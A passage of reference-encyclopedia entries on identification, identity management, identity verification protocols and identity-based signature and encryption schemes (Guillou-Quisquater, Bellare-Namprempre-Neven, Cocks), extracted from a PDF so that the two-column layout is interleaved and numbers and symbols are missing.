upon it for some purpose, there must be corroborating Authorities for Naming and Authentication
evidence of the claimants claim. This evidence may come Although they may in theory be the same, typically the
from the claimant directly or may come from some third Naming Authority and the Authentication Authority in a
party that is trusted by the verifier. In either case, the pro- domain are distinct entities. The Naming Authority asso-
cess of obtaining and verifying this evidence is known as ciates a name with an entity for the purposes of iden-
I
authentication (also Entity Authentication) and may tification, while the Authentication Authority associates
make use of a protocol exchange between the verifier and that same name with corroborating evidence for the
the claimant (Identity Verification Protocol). purposes of authentication, and/or with an authentication
Depending upon the purpose for which the verifier mechanism for the purposes of identity verification.
needs the identity of the claimant (i.e., depending upon A Certification Authority in a Public Key Infrastruc-
how much the verifier must rely upon this identity), the ture(PKI) is an example of the latter type of Authentication
authentication process associated with an identification Authority in that it binds a name (such as an e-mail
step may be relatively weak, relatively strong, or some- address) to a public key pair in a certificate that will be
where in between. The verifier needs to assess and manage used as an authentication mechanism by the entity asso-
the risk that this identity may have been stolen by another ciated with that name [, ]. A government department
entity who is now trying to impersonate the true holder issuing drivers licenses is an example of the former type
of this identity (Impersonation Attack). Impersonation of Authentication Authority in that it writes a name (in
can potentially lead to unauthorized access to personal or this case, a given and family name, along with address and
corporate data, networks, applications, or functions; the other information) into an official document (the drivers
verifier will typically use stronger authentication mech- license) that may be used as corroborating evidence to
anisms if a successful impersonation attack leads to the validate a claim of identity.
release of sensitive data.
Recommended Reading
Identity Uniqueness . Adams C, Lloyd S () Understanding PKI: concepts, stan-
Identification is only possible within a domain when all dards, and deployment considerations, nd edn. Addison-Wesley,
Reading, MA
identities in that domain are unique (i.e., no two entities
. ITU-T Recommendation X. () Information technology
in the domain have the same name). There are two gen- open systems interconnection the directory: public key and
eral schemes for achieving identity uniqueness within a attribute certificate frameworks. (equivalent to ISO/IEC
domain: hierarchical namespaces and flat namespaces. In :)
a flat namespace, the Naming Authority (the authority . Housley R, Polk T () Planning for PKI: best practices guide
for deploying public key infrastructure. Wiley, New York
that officially assigns identities to, or associates identities
with, entities) is responsible for binding a unique iden-
tity to every entity in the domain and uses a fixed, non-
extensible syntax to express this identity. Within a com- Identity Authentication
pany, an n-digit employee number is an example of a flat
namespace scheme. Entity Authentication
I Identity Management
Foundational components of an identity management

Identity Management system are core components that form that basic building
blocks on which an identity management system can be
Mike Just built. Such components are often not specific to identity
Glasgow Caledonian University, Scotland, UK management, but can be used in other security and system
areas.
Related Concepts Repository. At the core of the system is the logical data
Access Control from an OS Security Perspective;
storage facility and identity data model that is often
Authentication; Authorizations; Identification
implemented as a directory or database. Policy infor-
mation governing access to and use of information in
Denition
the repository is generally stored here as well.
An identity of an individual is the set of information known
Authentication Provider. The authentication provider,
about that person. For example, a persons identity in the
sometimes referred to as the identity provider, is
real world can be a set of a name, an address, a drivers
responsible for performing primary authentication of
license, a birth certificate, a field of employment, etc. This
an individual that will link them to a given identity.
set of information includes items such as a name which is
The authentication provider produces an authentica-
used as an identifier it allows us to refer to the identity
tor a token that allows other components to recognize
without enumerating all of the items; a drivers license or
that primary authentication has been performed. Each
birth certificate which are used as an authenticator they
identity may be associated with more than one authen-
are issued by a relevant authority and allow us to deter-
tication provider. The mechanisms employed by each
mine the legitimacy of someones claim to the identity; a
provider may be of different strengths and some appli-
drivers license which is used as a privilege it establishes
cation contexts may require a minimum strength to
the permission to operate a motor vehicle.
accept the claim to a given identity.
A digital identity is the corresponding concept in the
Policy Control. Access to and use of identity infor-
digital world. As people engage in more activities in the
mation is governed by policy controls. Authorization
cyber world, the trend has been to link the real world
policies determine how information is manipulated;
attributes of identity with an individuals cyber world iden-
privacy policies govern how identity information may
tity, giving rise to privacy and other concerns.
be disclosed. Policy controls may cause events to be
Identity management is the set of processes, tools, and
audited or even for the subject of an identity to be
social contracts surrounding the creation, maintenance,
notified when information is accessed.
and termination of a digital identity for people or, more
Auditing. Secure auditing provides the mechanism to
generally, for systems and services, to enable secure access
track how information in the repository is created,
to an expanding set of systems and applications.
modified, and used. This is an essential enabler for
forensic analysis which is used to determine how and
Background
by whom policy controls were circumvented.
Traditionally, identity management has been a core com-
ponent of system security environments where it has been Lifecycle components of an identity management sys-
used for the maintenance of account information for login tem address the temporal nature of managing an identity
access to a system or a limited set of applications. An and relate to key milestones such as the start and end of an
administrator issues accounts so that resource access can identity, as well as any changes during these periods.
be restricted and monitored. Control has been the primary
focus for identity management. More recently, however, Provisioning. Provisioning is the automation of all the
identity management has exploded out of the sole purview procedures and tools to manage the lifecycle of an iden-
of information security professionals and has become a key tity: creation of the identifier for the identity, linkage
enabler for electronic business. to the authentication providers, setting and chang-
ing attributes and privileges, and decommissioning the
Theory identity. In large-scale systems, these tools generally
Identity management solutions are modular and com- allow some form of self-service for the creation and
posed of multiple service and system components. Below, ongoing maintenance of an identity and frequently use
a number of key foundational, lifecycle, and consumable a workflow or transactional system for verification of
components are identified and described. data from an appropriate authority and to propagate
Identity Verication Protocol I
data to affiliated systems that may not directly consume Federated systems support multiple identity providers
the repository. and a distributed and partitioned store for identity
Longevity. Longevity tools create the historical record information. Clear operating rules govern the various
of an identity. These tools allow the examination of the participants in a federation both the operators of
evolution of an identity over time. components and the operators of services who rely
on the information provided by the identity manage-
Consumable value components of an identity manage-
ment system. Most systems exhibit strong end-user
ment system effectively allow for integration of the core
controls over how identity information is disseminated
and lifecycle components with applications that need to
amongst members of the federation.
make use of identity management.
Single Sign-on. Single sign-on allows a user to perform Experimental Results
primary authentication once and then access the set of At time of writing this chapter, several organizations have
applications and systems that are part of the identity implemented, and demonstrated interoperability, with the
management environment. SAML standard (as part of the Liberty alliance) as part of
Personalization. Personalization and preference man- their identity management products. In addition, several
agement tools allow application specific as well as websites have adopted the OpenID standard.
generic information to be associated with an iden-
tity. These tools allow applications to tailor the user Open Problems and Future Directions
experience for a given individual leading to a stream- Many of the challenges related to identity management
lined interface for the user and the ability to target relate to uptake and adoption by both service providers
I
information dissemination for a business. and users since the effectiveness for identity management
Access Management. Similar to the policy controls (especially for components such as single sign-on) increase
within the identity management system foundation with adoption and use.
components, access control components allow applica-
tions to make authorization and other policy decisions Recommended Reading
based on privilege and policy information stored in the . OpenID Foundation () OpenID foundation. OpenID
repository. authentication . final. http://openid.net/specs/openid-
authentication- .html. Accessed Dec
. Security Services Technical Committee (SSTC) Security Assur-
Applications ance Markup Language (SAML) v .. OASIS, () http://saml.
Identity management systems are primarily deployed in xml.org/saml- specifications. Accessed Dec
one of three models: as silos, as walled gardens, and as
federations.
Silo. This is the predominant model on the Internet today.
In this model the identity management environment is
Identity Proof
put in place and operated by a single entity for a fixed
Authentication
user community.
Walled Garden. Walled gardens represent a closed com-
munity of organizations. A single identity management
system is deployed to serve the common user commu- Identity Verication Protocol
nity of a collection of businesses. Most frequently this
occurs in business-to-business exchanges and specific
Robert Zuccherato
operating rules govern the entity operating the identity
Carle Crescent, Ontario, Canada
management system.
Federation. Federated identity management environments
are now emerging. These include systems like OpenID, Synonyms
Windows Live ID (formerly Microsofts .Net Passport), Entity authentication protocol
and the Liberty Alliance Project: Liberty Architecture.
The central difference between federated identity sys- Related Concepts
tems and walled gardens is that there is no single Authentication; Authentication Token; Challenge-
entity that operates the identity management system. Response Protocol; Dictionary Attack; Dictionary
I Identity-Based Cryptosystems
Attack (I); Entity Authentication; Password; Protocol; ISO/IEC [], FIPS [] and TLS (Transport
Schnorr Identification Protocol; FiatShamir Identi- Layer Security) [].
fication Protocol and the FeigeFiatShamir Signature Zero-knowledge protocols use asymmetric techniques
Scheme; Trusted Third Party; Zero-Knowledge to prove the claimants identity, but are based upon inter-
active proof systems and zero-knowledge techniques, and
Denition thus differ from asymmetric-based challengeresponse
An identity verification protocol is a protocol used to protocols. These protocols are designed to reveal no infor-
obtain entity authentication of one entity to another entity. mation whatsoever beyond whether or not the claimant
The authentication provided by the protocol can be either knows a secret (and thus has the claimed identity) and then
unilateral (i.e., authenticates just one of the entities to the only to the verifier. Examples of zero-knowledge identifica-
other entity) or mutual (i.e., authenticates both entities). tion protocols include the FiatShamir identification pro-
tocol, the GQ identification protocol [], and the Schnorr
identification protocol.
Theory It should be noted that identity verification protocols
In addition to the two entities directly involved in the only provide entity authentication at the instant of protocol
authentication (the claimant and verifier), some protocols execution and do not necessarily prove that the authenti-
require the participation of a trusted third party in order cated entity was participating in an entire session. If entity
to achieve authentication. For example, an authentication authentication is required for the entire lifetime of a given
server may provide an authentication token to a claimant, session, then either the identity verification protocol can
which would then be provided to the verifier as part of the be repeatedly performed throughout the lifetime of the ses-
identity verification protocol. sion, or it can be combined with a key establishment mech-
There are a number of different identity verification anism and an ongoing integrity service, as is done in TLS.
protocols that exist, but most of them fall into three
main types. These are password-based schemes, challenge
Recommended Reading
response protocol schemes, and zero-knowledge identifi-
. ISO/IEC - () Information technology-security
cation techniques. techniques-entity authentication-Part : mechanisms using
symmetric encipherment algorithms
. ISO/IEC - () Information technology-security
Applications techniques-entity authentication-Part : entity authentication
Password-based schemes typically involve the claimant using digital signature techniques
providing a password or PIN (Personal Identification . FIPS () Entity authentication using public key cryp-
Number) that is either sent directly to the verifier or tography. Federal Information Processing Standards Publication
used to generate a token (Authentication Token), or cre- , U.S. Department of Commerce/NIST, National Technical
Information Service, Springfield, Virginia
dentials, that can be validated by the verifier, who also
. Dierks T, Rescorla E () The Transport Layer Security (TLS)
knows the password. Most of these schemes are suscepti- Protocol Version .. RFC
ble to replay attacks, password guessing attacks, dictionary . Guillou LC, J.-J. Quisquater () A practical zero-knowledge
attacks, and/or compromise of the password, at either the protocol fitted to security microprocessor minimizing both
claimant or verifier. Thus, these schemes usually provide transmission and memory. In: Gnther CG (ed) Advances in
Cryptology EUROCRYPT, pp . Lect Notes in Com-
limited security, but have the advantage that they are easy
puter Science, vol . Springer, Berlin
to implement and deploy.
Challengeresponse protocols require the claimant to
verify its identity to the verifier by proving knowledge of
a secret value that is known only to the claimant (and Identity-Based Cryptosystems
possibly the verifier) and will not be revealed as part of
the protocol. Proving knowledge of this secret is accom- Benot Libert, Jean-Jacques Quisquater
plished by responding to a particular challenge provided Microelectronics Laboratory, Universit catholique de
by the verifier. Typically, the verifier produces a time- Louvain, Louvain-la-Neuve, Belgium
variant parameter (e.g., a nonce), and the claimant is
required to apply some cryptographic transformation to
that parameter using a key that only it (or possibly also the Synonyms
verifier) knows. Examples of challengeresponse identity IBE: Identity-based encryption; IBS: Identity-based signa-
verification protocols can be found in ISO/IEC - [], ture
Identity-Based Cryptosystems I
Related Concepts the recipients identity, and the PKGs master public key
Digital Signatures; Identification Schemes; Public mpk to output a ciphertext C. The last algorithm is then
Key Cryptography the decryption algorithm Decrypt that takes as input the
ciphertext C and the private decryption key dID to return
Denition a plaintext M. In the case of identity-based signatures,
Identity-based cryptography refers to a set of public key the last two algorithms are the signature generation algo-
cryptographic primitives where public keys consist of rithm Sign that, given a message M, the PKGs public key
users identity information and nothing else. Its advantage and a private key dID generates a signature on M that can
is to alleviate the need for digital certificates linking public be verified by anyone thanks to the signature verification
keys to the identity of the corresponding user. algorithm Verify. The latter takes as input the PKGs key
mpk and the alleged signers identity ID to return or
Background depending on whether the signature is acceptable or not.
Identity-based public key cryptography is a paradigm This chapter surveys some simple identity-based
introduced by Shamir in []. His motivation was schemes that have appeared in the literature since Shamirs
to simplify key management and remove the need for call for proposals in . Some of the most famous
public key certificates as much as possible by letting the identity-based signature schemes are fist described, and
users public key be the binary sequence corresponding to the chapter then gives an example of identity-based
an information identifying him in a nonambiguous way encryption scheme based on modular arithmetic.
(e-mail address, IP address combined to a user name, tele-
phone number, etc). The removal of certificates allows Theory
I
avoiding the trust problems encountered in current pub- This section presents simple examples of identity-based
lic key infrastructures (PKIs): it is no longer necessary signatures. The first one is a generic construction that
to bind a public key to its owners name since those are can be based on any signature scheme. The second one
one single thing, and it also simplifies key management is the GuillouQuisquater [] signature scheme that
since public keys are human-memorizable. These systems builds on the RSA assumption. The next example is a
involve trusted authorities called private key generators scheme, proposed by Bellare, Namprembre, and Neven [],
(PKGs) that have to deliver private keys to users after hav- which relies on the difficulty of computing discrete loga-
ing derived them from their identity information (users rithms. The chapter finally outlines a simple identity-based
do not generate their key pairs themselves) using a master encryption scheme due to Cocks [].
secret key. End users do not have to enquire for a certifi-
cate for their public key. The only things that still must Identity-Based Signatures
be certified are the public keys of trusted authorities. This Syntactically, an identity-based signature consists of the
does not completely eliminate the need for certificates but, following four algorithms.
since many users depend on the same authority, this need is
Setup: is a probabilistic algorithm run by a private key gen-
drastically reduced. Several practical solutions for identity-
erator (PKG) that takes as input a security parameter to
based signatures (IBS) have been devised since
output a master public key mpk and a master secret key
[, , ], but finding a practical identity-based encryp-
msk which is kept secret.
tion scheme (IBE) remained an open challenge until
Keygen: is a private key generation algorithm run by the
when elegant solutions were provided by Boneh and
PKG on input of params and the master key msk to
Franklin [] and Cocks []. Other identity-based signa-
return a private key dID associated with the identity ID.
tures were proposed after (e.g., [, ]).
Sign: is a (possibly probabilistic) algorithm that takes as
Basically, an identity-based cryptosystem consists of
input public parameters params, a message M and
four algorithms. First, a Setup algorithm, which is run by
the signers private key dID , and outputs a signature
a PKG, takes as input a security parameter to output a
= Sign(dID , M).
public/private master key pair (mpk, msk) for the PKG.
Verify: is a deterministic verification algorithm that takes
A key generation algorithm Keygen is also run by the PKG:
as input a purported signature , the master public key
it takes as input the PKGs master secret key msk and
mpk and the signers identity ID. It outputs or .
a users identity ID to return the users private key dID .
In the case of identity-based encryption, the third algo- The security of IBS schemes is formalized via a game
rithm is an encryption algorithm Encrypt that can be between a challenger and an adversary F . More precisely,
publicly run by anyone and takes as input a plaintext M, the definition used in [, ] extends the standard notion
[] of existential unforgeability under chosen-message The above construction was extended to provide hier-
attacks by requiring any probabilistic polynomial-time archical identity-based signatures [] (i.e., IBS schemes
algorithm F to have negligible advantage in the following involving a hierarchy of signers organized in a hierar-
game. chical setting) and identity-based signatures with special
properties [].
. The challenger generates a master key pair (mpk, msk)
While simple and elegant, this construction leaves
Setup(k) and hands mpk to the forger F .
room for efficiency improvements, notably in terms of sig-
. On polynomially-many occasions, the forger makes
nature size since each signature comprises two ordinary
queries of the following two types:
digital signatures and a public key. Ideally, one would like
(a) Key generation queries: F chooses an arbitrary
to have an IBS scheme performing as well as ordinary dig-
identity ID and the challenger replies by return-
ital signatures. The next subsections show two examples
ing dID Keygen(msk, ID).
of such schemes that both derive from the FiatShamir
(b) Signing queries: F chooses a pair (ID, M).
paradigm [].
The challenger replies by computing dID
Keygen(msk, ID)and returning = Sign(dID , M).
The GuillouQuisquater IBS
These queries can be made adaptively in that each one
This scheme is derived from a three round identifica-
may depend on the answers to prior queries.
tion scheme. It was proposed in and consists of the
. The forger outputs a triple (ID , M , ) and wins if
following algorithms.
the three following conditions are satisfied:
(a) ID was never queried for key generation. Setup: Given a security parameter k , the private key gen-
(b) The pair (ID , M ) was never queried for signa- erator (PKG) picks two k /-bit primes p and q and
ture. computes n = pq. It also picks a prime number
(c) Verify(mpk, ID , ) = . e Z (n) such that gcd(e, (n)) = and chooses
cryptographic hash functions H : {, } Ze and
Generic IBS from Any Signature G : {, } Zn . The master public key is mpk =
In [], Bellare, Namprempre, and Neven pointed out that (n, e, G, H) while the master secret key is the pair
any digital signature can be made identity-based in a msk = (p, q).
very simple manner using certification. This generic con- Keygen: Given a users identity ID, the PKG computes
struction was previously implicitly described in [] and I = G(ID) Zn and a Zn such that Iae (mod n).
goes as follows. Let sig = (Keygen, Sign, Verify ) be The obtained dID = a is returned to the user as a private
any ordinary (i.e., nonidentity-based) digital signature key.
scheme providing existential unforgeability under chosen- Sign: Given a message m, the signer does the following:
message attacks []. Then, a secure IBS scheme IBS = . Pick a random k Zn and compute r = ke mod n.
R
(Setup, Keygen, Sign, Verify) can be obtained as follows. . Compute = H(mr) Ze .

. Calculate s = ka mod n.
Setup: Given a security parameter k N, the algo-
The signature on m is the pair (s, ).
rithm generates a digital signature key pair (pk, sk)
Verify: To verify a signature (s, ) on m:
Keygen(k) and returns (mpk, msk) = (pk, sk).
. Compute I = G(ID) from the signers identity ID.
Keygen: To generate a private key for some users iden-
. Compute u = se I mod n.
tity ID, the PKG generates a fresh digital signature
. Accept the signature if = H(mu).
key pair (pkID , skID ) Keygen(k) and sets dID =
(skID , pkID , ID ), where ID = Sign(msk, IDpkID ) is a To verify the consistency of the scheme, note that
certificate binding the newly generated public key pkID
u se I (ka )e I ke (ae I) ke r (mod n).
to the identity ID.
Sign: To sign a message m using is private key dID = (skID , Hence u = r and then H(mu) = H(mr).
pkID , ID ), the signer computes m = Sign(skID , m) and For security reasons, the parameter k should be at least
the identity-based signature is defined as the triple or to avoid attacks trying to factor the modulus.
= (m , pkID , ID ). This signature scheme is derived from the Guillou
Verify: To verify an alleged signature = (m , pkID , ID ) Quisquater identification protocol (GQ) using the Fiat
for message m under the identity ID, the verifier Shamir heuristic [] that turns any -move identification
returns if Verify (pkID , m , m) = and Verify(mpk, ID , scheme into a digital signature. In the scheme, the signers
IDpkID )=. Otherwise, it outputs . private key is an RSA signature generated by the PKG
on a message consisting of the users identity: in other Keygen: Given a users identity ID, the PKG chooses
r Zp at random and computes R = g r as well as =
R
words, a GQ signature is actually a noninteractive proof
of knowledge of an RSA signature. H(IDR) Zp . The private key is the pair dID = (R, s)
The scheme can be proved existentially unforgeable where s = r + x mod p.
(in the random oracle model []) provided it is hard to Sign: To sign a message m using dID = (R, s), the signer
invert the RSA function. The first security proof can be proceeds as follows:
traced back to the work of Pointcheval and Stern [, ]
Pick a random y Zp and compute Y = g y as well
R
.
who showed how their forking technique yields security
as S = g s .
proofs for signature schemes derived from identification
. Compute c = G(mSY) Zp .
protocols. Their security proof was given in a model where
. Calculate z = y + cs mod p.
the scheme was treated as an ordinary (i.e., nonidentity-
based) signature. A security proof in the model of section The signature on m is (R, S, c, z).
Identity-Based signatures was provided by the general Verify: To verify a signature (R, S, c, z) on m:
framework of Bellare et al. [].
. Compute Y = g z Sc and reject the signature if c
While the infeasibility of inverting the RSA func-
G(mSY).
tion is sufficient to prove the security of the GQ sig-
. Compute = H(IDR).
nature scheme in the random oracle model, a stronger
. Accept the signature if S = RX .
interactive assumption (introduced in []) is necessary
to prove the security of the underlying interactive iden- Bellare et al. [] proved the security of their scheme assum-
tification scheme. The security of the GQ identification ing that computing discrete logarithms is hard and when
I
scheme against active and concurrent attacks was estab- the hash functions H and G are modeled as random
lished by Bellare and Palacio [] in a traditional public oracles.
key setting. Its security in the identity-based model was A BNN signature can be seen as a noninteractive proof
proved in []. of knowledge of a Schnorr signature in the same way
as GQ signatures prove knowledge of an RSA signature.
The above scheme can also be seen as an optimization of
The BellareNamprempreNeven IBS
the generic construction described in section Generic IBS
In , Bellare et al. [] described an identity-based sig-
from Any Signature it indeed provides slightly shorter sig-
nature based on the discrete logarithm problem. In the
natures using suitable parameters such as carefully chosen
same way as the GuillouQuisquater scheme can be seen
elliptic-curve subgroups. The BNN IBS was recently fur-
as a proof of knowledge of an RSA signature, the Bellare
ther optimized [] to provide shorter signatures and also
et al. scheme can be viewed as a noninteractive proof of
inspired an IBS scheme [] supporting partial signature
knowledge of a Schnorr [] signature.
aggregation.
The Schnorr signature scheme makes use of a cyclic
group G of prime order p. The signer holds a public key
X = g x , where x Zp is the private key which is
R
Other IBS Schemes Based on Specic

used to sign a message m as follows. The signer first com-
Number Theoretic Assumptions
putes R = g r , for a randomly chosen r Zp , and sets
R
The GQ and BNN identity-based signatures are far from

s = r + H(mR)x mod p, where H : {, } Zp is
being the only IBS systems where signatures consist of
a hash function modeled as a random oracle. The signa-
a noninteractive proof of knowledge of an ordinary sig-
ture consists of (, s), where = H(mR), and is veri-
nature. Indeed, many other proposals based on the dis-
fied by checking whether = H(mg s X ). Alternatively,
crete logarithm problem [, , ], RSA [], factoring
the signature can be (R, s) in such a way that the veri-
[, , ], or groups with bilinear maps [, , , , ]
fier can recompute = H(mR) before checking whether
can be found in the literature (see [] for a comprehensive
R = g s X .
survey of these). Recent works [, ] also investigated how
Setup: Given a security parameter k , the PKG chooses a to efficiently base IBS schemes on assumptions stemming
cyclic group G of prime order p > k and a generator from coding theory.
g G. It picks x Zp and sets X = g x . It also chooses
R
It has been reported that identity-based signatures can
cryptographic hash functions H : {, } Zp and be endowed with specific additional properties. In many
G : {, } Zp . The master public key is mpk = cases, these can be generically obtained [] by extending
(g, X, H, G) while the master secret key is msk = x. the generic construction of section Generic IBS from Any
Signature. Other IBS schemes supporting signature aggre- . In the guess stage, A asks new queries as in the find
gation [, ] or multiple signers [] were designed under stage but is restricted not to issue a key extraction request
specific assumptions. on the target identity ID and cannot submit C to the
In addition, an observation made by Naor (and decryption oracle for the identity ID . Eventually, A
reported in []) implies that identity-based signatures can outputs a bit b and wins if b = b.
also be derived from hierarchical identity-based encryp-
tion (HIBE) [, ]. Following this observation, Paterson As advantage is defined as Adv(A) := Pr[b = b] .
and Schuldt [] proved the security (without using the The above definition captures the chosen-ciphertext
random oracle model) of a scheme derived from a -level scenario where the adversary is granted access to a decryp-
extension of the Waters IBE [] under the DiffieHellman tion oracle throughout the game. There exists a weaker
assumption in groups with a bilinear map. definition, called chosen-plaintext security (or IND-ID-
CPA for short), where no such decryption oracle is given
Identity-Based Encryption from Quadratic to the adversary.
Residuosity: The Cocks IBE The IBE scheme proposed by Cocks in [] is
An identity-based encryption scheme (IBE) consists of based on quadratic residues and on the properties of the
a tuple of algorithms (Setup, Keygen, Encrypt, Decrypt), Legendre and Jacobi symbols for Blum integers (i.e., com-
the first two ones of which have the same functional- posite integers n = pq, where p and q are primes such that
ities as in identity-based signatures. Algorithm Encrypt p q (mod )). It is made of the four algorithms
takes as input a plaintext m, the master public key mpk, depicted below.
and a receivers identity ID to output a ciphertext C =
Setup: The PKG picks prime numbers p and q such that
Encrypt(m, mpk, ID). On input of C and the private
p q (mod ), computes their product n =
key dID , the corresponding decryption algorithm outputs
pq, and chooses a hash function H : {, }
either a plaintext m or a special symbol indicating that
Zn . The PKGs master secret key is defined to be
the ciphertext is invalid.
msk = (p, q), and the master public key consists of
The appropriate definition of security for IBE schemes
mpk = (n, H).
was given by Boneh and Franklin [].
Keygen: Given an identity ID, the PKG computes a
Definition An IBE scheme is said to be adaptively sequence of hash values starting from ID until obtain-
chosen-ciphertext secure (IND-ID-CCA) if no probabilis- ing a = H(H(H . . . (ID))) Zn such that ( na ) = .
tic polynomial time (PPT) adversary has a non-negligible For such a a Zn , either a or a is a square in Zn .
advantage in the following game. n+(p+q)
It is easy to verify that r = a mod n satisfies
. The challenger runs the Setup algorithm on input of a a = r mod n or a = r mod n depending on whether
security parameter k and sends the domain-wide param- ( ap ) = ( aq ) = or ( ap ) = ( aq ) = . The obtained r is
eters mpk to the adversary A. returned to the user as a private key.
. In a find stage, A starts probing the following oracles:
Key extraction oracle: Given an identity ID, this Encrypt: The sender does not know which of a or a
oracle returns the extracted private key dID = is a square in Zn and one first considers the case
Keygen(msk, ID). a = r mod n. The sender generates a symmetric
Decryption oracle: Given an identity ID {, } transport key K and encrypts the plaintext M with it.
and a ciphertext C, it generates the private key Each bit x of that symmetric key is then encrypted
dID associated to ID and returns either a plaintext before being sent to the receiver B. To do this, A
M M or a distinguished symbol indicating that encodes x in {, } rather than in {, } and does the
the ciphertext was not correctly formed. following.
A can present her queries adaptively in the sense that . Pick a random t Zn such that ( nt ) = x.
each query may depend on the answers to previous ones. . Compute s = (t + at ) mod n (since ( nt ) , t is
At some point, she produces two plaintexts M , M M, coprime with p and q and thus invertible in Zn ) and
and a target identity ID for which she has not requested send it to B.
the private key in stage . The challenger computes Since A does not know which of a or a is the square of
C = Encrypt(Mb , mpk, ID ), for a random hidden bit Bs decryption key, A has to repeat the above process for
b {, }, which is sent to A. a new t and, this time, send s = (t a/t) mod n. Hence,
R
n bits, where x denotes the bitlength of x, have to be . Lecture notes in computer science, vol . Springer,
transmitted for each bit of the symmetric key. Heidelberg, pp
. Bellare M, Neven G () Identity-based multi-signatures from
RSA. In: RSA conference cryptographers track (CT-RSA ).
Decrypt: B recovers x as follows. Given that Lecture notes in computer science, vol . Springer,
Heidelberg, pp
r a . Bellare M, Palacio A () GQ and schnorr identification
t( + r/t) t + r + t + r + s + r (mod n),
t t schemes: proofs of security against impersonation under active
and concurrent attacks. In: Advances in cryptology Crypto
B can compute ( s+rn
) = ( nt ) = x and recover x using , Lecture notes in computer science, vol . Springer,
Heidelberg, pp
his/her private key r thanks to the multiplicative prop-
. Bellare M, Rogaway P () Random oracles are practical:
erties of the Jacobi symbol. Once the symmetric key K a paradigm for designing efficient protocols. In: Proceedings
is obtained in clear, the ciphertext can be decrypted. of the st ACM conference on computer and communications
security, Fairfax, pp
For -bit symmetric keys, the scheme is fairly cheap . Beth T () Efficient zero-knowledge identification scheme
from a computational standpoint: the senders cost is dom- for smart cards. In: Advances in cryptology Eurocrypt .
Lecture notes in computer science, vol . Springer, Heidel-
inated by Jacobi symbol evaluations and
berg, pp
modular inversions. The receiver just has to compute . Boneh D, Franklin M () Identity based encryption from the
Jacobi symbols since he/she knows which of a or a is Weil pairing, SIAM J of Comput (): , . Earlier
the square of his/her private key. The drawback of the version in advances in cryptology Crypto . Lecture notes in
scheme is its bandwidth overhead: for a -bit modu- computer science, vol . Springer, Heidelberg, pp I
. Boneh D, Gentry C, Hamburg M () Space-efficient identity-
lus n and a -bit symmetric transport key, at least
based encryption without pairings. In: Proceedings of the FOCS
Kb need to be transmitted if all the integers s are sent , Providence, pp
together. . Cha JC, Cheon JH () An identity-based signature from
Cocks showed that his construction is secure (in the gap Diffie-Hellman groups. In: Public Key Cryptography
random oracle model) against chosen-plaintext attacks (PKC ). Lecture notes in computer science, vol . Springer,
Heidelberg, pp
under the Quadratic Residuosity Assumption (i.e., the
. Cayrel PL, Gaborit P, Girault M () Identity-based iden-
hardness of deciding whether or not a random integer a tification and signature schemes using correcting codes. In:
such that ( na ) = is a square). Chosen-ciphertext security Workshop of cryptography and coding , Versailles
can be acquired via several generic transformations such . Cayrel PL, Gaborit P, Galindo D, Girault M () Improved
as the one of Fujisaki and Okamoto []. identity-based identification using correcting codes. In: Com-
puting Research Repository (CoRR) abs/.
While elegant, Cockss construction is somewhat
. Cocks C () An identity based encryption scheme based on
bandwidth-demanding. In addition, separately encrypt- quadratic residues. In: Proceedings of cryptography and cod-
ing each bit of plaintext makes it difficult to turn the ing. Lecture notes in computer science, vol . Springer,
scheme into a chosen-ciphertext secure multi-bit encryp- Heidelberg, pp
tion scheme. In , Boneh et al. [] showed how to con- . Dodis Y, Katz J, Xu S, Yung M () Strong key-insulated signa-
ture schemes. In: Public key cryptography (PKC ). Lec-
struct a multi-bit quadratic-residuosity-based IBE scheme
ture notes in computer science, vol . Springer, Heidelberg,
featuring much shorter ciphertexts. Other IBE systems pp
avoiding the limitation of Cockss proposal will be covered . Fiat A, Shamir A () How to prove yourself: practical solu-
in the chapter dedicated to identity-based encryption. tions to identification and signature problems. In: Advances in
cryptology Crypto . Lecture notes in computer science, vol
. Springer, Heidelberg, pp
Recommended Reading . Fujisaki E, Okamoto T () Secure integration of asymmetric
. Barreto PSLM, Libert B, McCullagh N, Quisquater JJ () and symmetric encryption schemes. In: Advances in cryptol-
Efficient and provably-secure identity-based signatures ogy Crypto . Lecture notes in computer science, vol .
and signcryption from bilinear maps. In: Advances in Springer, Heidelberg, pp
cryptology Asiacrypt . Lecture notes in computer science, . Fischlin M, Fischlin R () The representation problem based
vol . Springer, Heidelberg, pp on factoring. In: RSA conference cryptographers track (CT-
. Bellare M, Namprempre C, Neven G () Security proofs RSA ). Lecture notes in computer science, vol . Springer,
for identity-based identification and signature schemes. In: Heidelberg, pp
Advances in cryptology Eurocrypt . Lecture notes in com- . Galindo D, Herranz J, Kiltz E () On the generic con-
puter science, vol . Springer, Heidelberg, pp struction of identity-based signatures with additional prop-
. Bellare M, Namprempre C, Pointcheval D, Semanko M () erties, In: Avances in cryptology Asiacrypt . Lecture
The power of RSA inversion oracles and the security of Chaums notes in computer science, vol . Springer, Heidelberg,
RSA-based blind signature scheme. In: Financial cryptography pp
I Identity-Based Encryption
. Galindo D, Garcia FD () A schnorr-like lightweight . Waters B () Efficient identity-based encryption without

identity-based signature scheme. In: Progress in cryptology random oracles. In: Advances in cryptology Eurocrypt .
Africacrypt . Lecture notes in computer science, vol . Lecture notes in computer science, vol . Springer, Heidel-
pp berg, pp
. Gentry C, Ramzan Z () Identity-based aggregate signatures.
In: Public key cryptography (PKC ). Lecture notes in
. Gentry C, Silverberg A () Hierarchical ID-based cryptog-
raphy. In: Advances in cryptology Asiacrypt . Lecture notes Identity-Based Encryption
in computer science, vol . Springer, Heidelberg, pp
. Goldwasser S, Micali S, Rivest R () A digital signature
scheme secure against adaptive chosen-message attacks. SIAM J Martin Gagn
Comput (): Department of Computer Science, University of Calgary,
. Guillou L, Quisquater JJ () A Paradoxical identity-based Calgary, Canada
signature scheme resulting from zero-knowledge. In: Advances
in cryptology Crypto . Lecture notes in computer science,
vol . Springer, Heidelberg, pp Synonyms
. Herranz J () Deterministic identity-based signatures for IBE; ID-based encryption
partial aggregation. Comput J ():
. Kiltz E, Mityagin A, Panjwani S, Raghavan B () Append-
only signatures. In: International colloquium automata, lan-
Related Concepts
guages and programming (ICALP ). Lecture notes in Public Key Cryptography
. Hess F () Efficient identity based signature schemes based Denition
on pairings. In: Proceedings of SAC . Lecture notes in com- An identity-based encryption scheme is a public key
puter science, vol . Springer, Heidelberg, pp encryption scheme in which any bit string can serve as a
. Horwitz J, Lynn B () Toward hierarchical identity-based
encryption. In: Advances in cryptology Eurocrypt . Lec-
public key.
pp Background
. Okamoto T () Provably secure and practical identification The concept of identity-based encryption (IBE) was first
schemes and corresponding signature schemes. In: Advances introduced by Shamir in []. His original motivation
